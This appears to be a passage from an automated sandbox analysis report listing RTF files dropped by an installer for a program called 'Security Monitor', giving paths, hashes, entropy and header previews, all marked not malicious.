SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-HDSBU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-HIGLM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-J9UP2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-LE9H8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-LU94I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-N3OJT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-PA0O2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-S04SM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-T6N3C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-U7TVQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-UMEI7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-VLG3I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
